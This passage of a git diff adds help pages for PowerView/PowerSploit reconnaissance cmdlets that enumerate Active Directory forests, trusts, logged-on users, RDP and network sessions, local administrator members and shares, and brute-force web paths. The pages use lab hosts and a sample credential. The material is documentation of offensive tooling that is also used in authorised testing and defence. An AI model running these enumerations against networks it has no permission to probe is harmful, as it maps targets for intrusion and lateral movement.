controller in the current domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 + +Return a max of 1000 logon events from the specified machine using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies the computer name to retrieve events from, default of localhost. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: dnshostname, HostName, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -StartTime +The \[DateTime\] object representing the start of when to collect events. +Default of \[DateTime\]::Now.AddDays(-1). + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now.AddDays(-1) +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EndTime +The \[DateTime\] object representing the end of when to collect events. +Default of \[DateTime\]::Now. + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -MaxEvents +The maximum number of events to retrieve. +Default of 5000. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 5000 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target computer. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LogonEvent + +PowerView.ExplicitCredentialLogonEvent + +## NOTES + +## RELATED LINKS + +[http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/](http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/) + diff --git a/docs/Recon/Get-Forest.md b/docs/Recon/Get-Forest.md new file mode 100755 index 00000000..51ddef6e --- /dev/null +++ b/docs/Recon/Get-Forest.md @@ -0,0 +1,80 @@ +# Get-Forest + +## SYNOPSIS +Returns the forest object for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertTo-SID + +## SYNTAX + +``` +Get-Forest [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current +forest or the forest specified with -Forest X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Forest -Forest external.domain +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Forest -Credential $Cred + +## PARAMETERS + +### -Forest +The forest name to query for, defaults to the current forest. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target forest. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Management.Automation.PSCustomObject + +Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition +to the forest root domain SID. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ForestDomain.md b/docs/Recon/Get-ForestDomain.md new file mode 100755 index 00000000..d755c0c8 --- /dev/null +++ b/docs/Recon/Get-ForestDomain.md @@ -0,0 +1,82 @@ +# Get-ForestDomain + +## SYNOPSIS +Return all domains for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +## SYNTAX + +``` +Get-ForestDomain [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +Returns all domains for the current forest or the forest specified +by -Forest X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ForestDomain +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ForestDomain -Forest external.local +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestDomain -Credential $Cred + +## PARAMETERS + +### -Forest +Specifies the forest name to query for domains. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target forest. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.DirectoryServices.ActiveDirectory.Domain + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ForestGlobalCatalog.md b/docs/Recon/Get-ForestGlobalCatalog.md new file mode 100755 index 00000000..c6da4bd5 --- /dev/null +++ b/docs/Recon/Get-ForestGlobalCatalog.md @@ -0,0 +1,78 @@ +# Get-ForestGlobalCatalog + +## SYNOPSIS +Return all global catalogs for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +## SYNTAX + +``` +Get-ForestGlobalCatalog [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +Returns all global catalogs for the current forest or the forest specified +by -Forest X by using Get-Forest to retrieve the specified forest object +and the .FindAllGlobalCatalogs() to enumerate the global catalogs. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ForestGlobalCatalog +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestGlobalCatalog -Credential $Cred + +## PARAMETERS + +### -Forest +Specifies the forest name to query for global catalogs. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.DirectoryServices.ActiveDirectory.GlobalCatalog + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ForestTrust.md b/docs/Recon/Get-ForestTrust.md new file mode 100755 index 00000000..0ff5e3d5 --- /dev/null +++ b/docs/Recon/Get-ForestTrust.md @@ -0,0 +1,91 @@ +# Get-ForestTrust + +## SYNOPSIS +Return all forest trusts for the current forest or a specified forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +## SYNTAX + +``` +Get-ForestTrust [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +This function will enumerate domain trust relationships for the current (or a remote) +forest using number of method using the .NET method GetAllTrustRelationships() on a +System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ForestTrust +``` + +Return current forest trusts. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ForestTrust -Forest "external.local" +``` + +Return trusts for the "external.local" forest. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestTrust -Forest "external.local" -Credential $Cred + +Return trusts for the "external.local" forest using the specified alternate credenitals. + +## PARAMETERS + +### -Forest +Specifies the forest to query for trusts, defaults to the current forest. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-HttpStatus.md b/docs/Recon/Get-HttpStatus.md new file mode 100755 index 00000000..43119830 --- /dev/null +++ b/docs/Recon/Get-HttpStatus.md @@ -0,0 +1,106 @@ +# Get-HttpStatus + +## SYNOPSIS +Returns the HTTP Status Codes and full URL for specified paths. + +PowerSploit Function: Get-HttpStatus +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Get-HttpStatus [-Target] [[-Path] ] [[-Port] ] [-UseSSL] +``` + +## DESCRIPTION +A script to check for the existence of a path or file on a webserver. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt | Select-Object {where StatusCode -eq 20*} +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL +``` + +## PARAMETERS + +### -Target +Specifies the remote web host either by IP or hostname. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Path +Specifies the remost host. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: .\Dictionaries\admin.txt +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Port +Specifies the port to connect to. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UseSSL +Use an SSL connection. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error + +## RELATED LINKS + +[http://obscuresecurity.blogspot.com +http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html]() + diff --git a/docs/Recon/Get-NetComputerSiteName.md b/docs/Recon/Get-NetComputerSiteName.md new file mode 100755 index 00000000..1a3a964c --- /dev/null +++ b/docs/Recon/Get-NetComputerSiteName.md @@ -0,0 +1,89 @@ +# Get-NetComputerSiteName + +## SYNOPSIS +Returns the AD site where the local (or a remote) machine resides. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetComputerSiteName [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will use the DsGetSiteName Win32API call to look up the +name of the site where a specified computer resides. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local +``` + +Returns the site for WINDOWS1.testlab.local. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainComputer | Get-NetComputerSiteName +``` + +Returns the sites for every machine in AD. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to check the site for (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ComputerSite + +A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-NetLocalGroup.md b/docs/Recon/Get-NetLocalGroup.md new file mode 100755 index 00000000..29ac4d6b --- /dev/null +++ b/docs/Recon/Get-NetLocalGroup.md @@ -0,0 +1,132 @@ +# Get-NetLocalGroup + +## SYNOPSIS +Enumerates the local groups on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Get-NetLocalGroup [[-ComputerName] ] [-Method ] [-Credential ] +``` + +## DESCRIPTION +This function will enumerate the names and descriptions for the +local groups on the current, or remote, machine. +By default, the Win32 API +call NetLocalGroupEnum will be used (for speed). +Specifying "-Method WinNT" +causes the WinNT service provider to be used instead, which returns group +SIDs along with the group names and descriptions/comments. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetLocalGroup +``` + +ComputerName GroupName Comment +------------ --------- ------- +WINDOWS1 Administrators Administrators have comple... +WINDOWS1 Backup Operators Backup Operators can overr... +WINDOWS1 Cryptographic Operators Members are authorized to ... +... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetLocalGroup -Method Winnt +``` + +ComputerName GroupName GroupSID Comment +------------ --------- -------- ------- +WINDOWS1 Administrators S-1-5-32-544 Administrators hav... +WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... +WINDOWS1 Cryptographic Opera... +S-1-5-32-569 Members are author... +... + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-NetLocalGroup -ComputerName primary.testlab.local +``` + +ComputerName GroupName Comment +------------ --------- ------- +primary.testlab.local Administrators Administrators have comple... +primary.testlab.local Users Users are prevented from m... +primary.testlab.local Guests Guests have the same acces... +primary.testlab.local Print Operators Members can administer dom... +primary.testlab.local Backup Operators Backup Operators can overr... + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Method +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CollectionMethod + +Required: False +Position: Named +Default value: API +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to a remote machine. +Only applicable with "-Method WinNT". + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LocalGroup.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroup.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +## NOTES + +## RELATED LINKS + +[https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx) + diff --git a/docs/Recon/Get-NetLocalGroupMember.md b/docs/Recon/Get-NetLocalGroupMember.md new file mode 100755 index 00000000..302302bd --- /dev/null +++ b/docs/Recon/Get-NetLocalGroupMember.md @@ -0,0 +1,212 @@ +# Get-NetLocalGroupMember + +## SYNOPSIS +Enumerates members of a specific local group on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Convert-ADName + +## SYNTAX + +``` +Get-NetLocalGroupMember [[-ComputerName] ] [-GroupName ] [-Method ] + [-Credential ] +``` + +## DESCRIPTION +This function will enumerate the members of a specified local group on the +current, or remote, machine. +By default, the Win32 API call NetLocalGroupGetMembers +will be used (for speed). +Specifying "-Method WinNT" causes the WinNT service provider +to be used instead, which returns a larger amount of information. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetLocalGroupMember | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... +S-1-5-21-25... +False False +WINDOWS1 Administrators WINDOWS1\lo... +S-1-5-21-25... +False False +WINDOWS1 Administrators TESTLAB\Dom... +S-1-5-21-89... +True True +WINDOWS1 Administrators TESTLAB\har... +S-1-5-21-89... +False True + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetLocalGroupMember -Method winnt | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... +S-1-5-21-25... +False False +WINDOWS1 Administrators WINDOWS1\lo... +S-1-5-21-25... +False False +WINDOWS1 Administrators TESTLAB\Dom... +S-1-5-21-89... +True True +WINDOWS1 Administrators TESTLAB\har... +S-1-5-21-89... +False True + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-NetLocalGroup | Get-NetLocalGroupMember | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... +S-1-5-21-25... +False False +WINDOWS1 Administrators WINDOWS1\lo... +S-1-5-21-25... +False False +WINDOWS1 Administrators TESTLAB\Dom... +S-1-5-21-89... +True True +WINDOWS1 Administrators TESTLAB\har... +S-1-5-21-89... +False True +WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... +False False +WINDOWS1 IIS_IUSRS NT AUTHORIT... +S-1-5-17 False False +WINDOWS1 Users NT AUTHORIT... +S-1-5-4 False False +WINDOWS1 Users NT AUTHORIT... +S-1-5-11 False False +WINDOWS1 Users WINDOWS1\lo... +S-1-5-21-25... +False UNKNOWN +WINDOWS1 Users TESTLAB\Dom... +S-1-5-21-89... +True UNKNOWN + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +primary.tes... +Administrators TESTLAB\Adm... +S-1-5-21-89... +False False +primary.tes... +Administrators TESTLAB\loc... +S-1-5-21-89... +False False +primary.tes... +Administrators TESTLAB\Ent... +S-1-5-21-89... +True False +primary.tes... +Administrators TESTLAB\Dom... +S-1-5-21-89... +True False + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -GroupName +The local group name to query for users. +If not given, it defaults to "Administrators". + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -Method +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CollectionMethod + +Required: False +Position: Named +Default value: API +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to a remote machine. +Only applicable with "-Method WinNT". + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +## NOTES + +## RELATED LINKS + +[http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx](http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx) + diff --git a/docs/Recon/Get-NetLoggedon.md b/docs/Recon/Get-NetLoggedon.md new file mode 100755 index 00000000..024d1b25 --- /dev/null +++ b/docs/Recon/Get-NetLoggedon.md @@ -0,0 +1,100 @@ +# Get-NetLoggedon + +## SYNOPSIS +Returns users logged on the local (or a remote) machine. +Note: administrative rights needed for newer Windows OSes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetLoggedon [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the NetWkstaUserEnum Win32API call to query +a given host for actively logged on users. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetLoggedon +``` + +Returns users actively logged onto the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetLoggedon -ComputerName sqlserver +``` + +Returns users actively logged onto the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-NetLoggedon +``` + +Returns all logged on users for all computers in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetLoggedon -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for logged on users (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LoggedOnUserInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + diff --git a/docs/Recon/Get-NetRDPSession.md b/docs/Recon/Get-NetRDPSession.md new file mode 100755 index 00000000..ff18322e --- /dev/null +++ b/docs/Recon/Get-NetRDPSession.md @@ -0,0 +1,104 @@ +# Get-NetRDPSession + +## SYNOPSIS +Returns remote desktop/session information for the local (or a remote) machine. + +Note: only members of the Administrators or Account Operators local group +can successfully execute this functionality on a remote target. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetRDPSession [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation +Win32API calls to query a given RDP remote service for active sessions and originating +IPs. +This is a replacement for qwinsta. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetRDPSession +``` + +Returns active RDP/terminal sessions on the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetRDPSession -ComputerName "sqlserver" +``` + +Returns active RDP/terminal sessions on the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainController | Get-NetRDPSession +``` + +Returns active RDP/terminal sessions on all domain controllers. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetRDPSession -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for active sessions (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.RDPSessionInfo + +A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, +with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx) + diff --git a/docs/Recon/Get-NetSession.md b/docs/Recon/Get-NetSession.md new file mode 100755 index 00000000..d9e2f50a --- /dev/null +++ b/docs/Recon/Get-NetSession.md @@ -0,0 +1,99 @@ +# Get-NetSession + +## SYNOPSIS +Returns session information for the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetSession [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the NetSessionEnum Win32API call to query +a given host for active sessions. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetSession +``` + +Returns active sessions on the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetSession -ComputerName sqlserver +``` + +Returns active sessions on the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainController | Get-NetSession +``` + +Returns active sessions on all domain controllers. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetSession -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.SessionInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the CName/UserName/Time/IdleTime for each session, with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + diff --git a/docs/Recon/Get-NetShare.md b/docs/Recon/Get-NetShare.md new file mode 100755 index 00000000..b3f2abe6 --- /dev/null +++ b/docs/Recon/Get-NetShare.md @@ -0,0 +1,100 @@ +# Get-NetShare + +## SYNOPSIS +Returns open shares on the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetShare [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the NetShareEnum Win32API call to query +a given host for open shares. +This is a replacement for "net share \\\\hostname". + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetShare +``` + +Returns active shares on the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetShare -ComputerName sqlserver +``` + +Returns active shares on the 'sqlserver' host + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-NetShare +``` + +Returns all shares for all computers in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 